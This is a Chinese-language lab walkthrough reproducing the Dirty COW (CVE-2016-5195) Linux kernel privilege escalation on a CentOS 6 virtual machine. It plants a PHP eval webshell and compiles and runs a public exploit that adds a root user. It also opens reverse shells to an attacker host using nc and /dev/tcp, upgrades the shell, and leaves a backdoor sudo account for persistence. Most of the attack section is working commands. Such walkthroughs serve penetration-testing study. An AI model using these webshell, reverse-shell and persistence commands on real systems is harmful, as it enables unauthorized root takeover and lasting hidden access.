漏洞描述
脏牛漏洞(CVE-2016–5195),又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞,在2016年10月18后才得以修复,因此影响范围很大。
漏洞具体是由于get_user_page内核函数在处理Copy-on-Write的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。
漏洞危害
低权限用户利用脏牛漏洞可以在众多Linux系统上实现本地提权
影响范围
(如果你的内核版本低于以下版本,则还存在此漏洞):
Centos7/RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
漏洞复现
虚拟机搭建centos6环境,查看内核版本
可以发现是在上述的漏洞范围之内
为了模拟获取webshell,这里我搭建了一下web环境
环境搭建
安装apache、php: yum -y install httpd php
开启http服务 : service httpd start
这里还需开放80端口,不然会会访问失败
先关掉防火墙selinux,输入:setenforce 0
开放80端口:/sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT
记得重启一下http
查看防火墙状态:service iptables status
80端口已经开放
写一个php小马,简单测试一下
echo "<?php eval($_REQUEST[123]) ?>" > /var/www/html/shell.php
连接蚁剑,查看权限,只有apache的权限
脏牛提权
1、上传脏牛提权EXP,注意上传到/tmp 这种可读可写的文件夹
exp地址:https://github.com/FireFart/dirtycow
2、编译EXP:
gcc -pthread dirty.c -o dirty –lcrypt
3、生成root权限的用户:./dirty 123
查看/etc/passwd
成功创建一个firefart超级用户
尝试通过su 切换用户,报错了
这是因为通过这种方式连接得到的shell类型,不能su交互,tty表示交互式终端
解决方法可以切换一下shell
python -c 'import pty; pty.spawn("/bin/sh")'
或python -c 'import pty; pty.spawn("/bin/bash")'
得到shell就可以su进行交互了。
但如果在蚁剑里面直接切换shell,无法成功,猜测是权限不够
如何得到一个完全交互性的shell
尝试用nc反弹shell
1、在攻击机上开启nc监听
2、反弹shell:
nc 攻击机ip 1234 -e /bin/sh (目标主机上有nc)
bash -i >& /dev/tcp/攻击机ip/1234 0>&1 (目标主机上没有nc)
重新切换shell
```python -c 'import pty; pty.spawn("/bin/sh")'
![](https://xzfile.aliyuncs.com/media/upload/picture/20210614133348-1818ea76-ccd2-1.png)
终于切换到超级用户
这里要记得利用备份文件还原root用户:```mv /tmp/passwd.bak /etc/passwd
还原之后不要急着退出、我们可以生成一个root权限的新用户保留权限
1、添加用户,首先用adduser命令添加一个普通用户,命令如下:
adduser qaz//添加一个名为abc的用户
passwd qaz //修改密码
2、赋予root权限
修改 /etc/sudoers 文件,找到下面一行,在root下面添加一行,如下所示:
root ALL=(ALL) ALL
qaz ALL=(ALL) ALL
但在修改文件的时候,发现得到的shell还是有问题的
他直接读取了我们键盘的数据,这是因为得到的还是一个半交互性的shell
解决方法如下:
1、Ctrl-Z 可以将一个正在前台执行的命令放到后台,并且暂停
2、stty raw -echo //设置原始输入并禁止回显(当在键盘上输入时,并不出现在屏幕上)
3、fg 将后台中的命令调至前台继续运行
现在就可以正常修改了
修改完毕,现在可以用qaz帐号登录,然后用命令 sudo ,即可获得root权限进行操作
完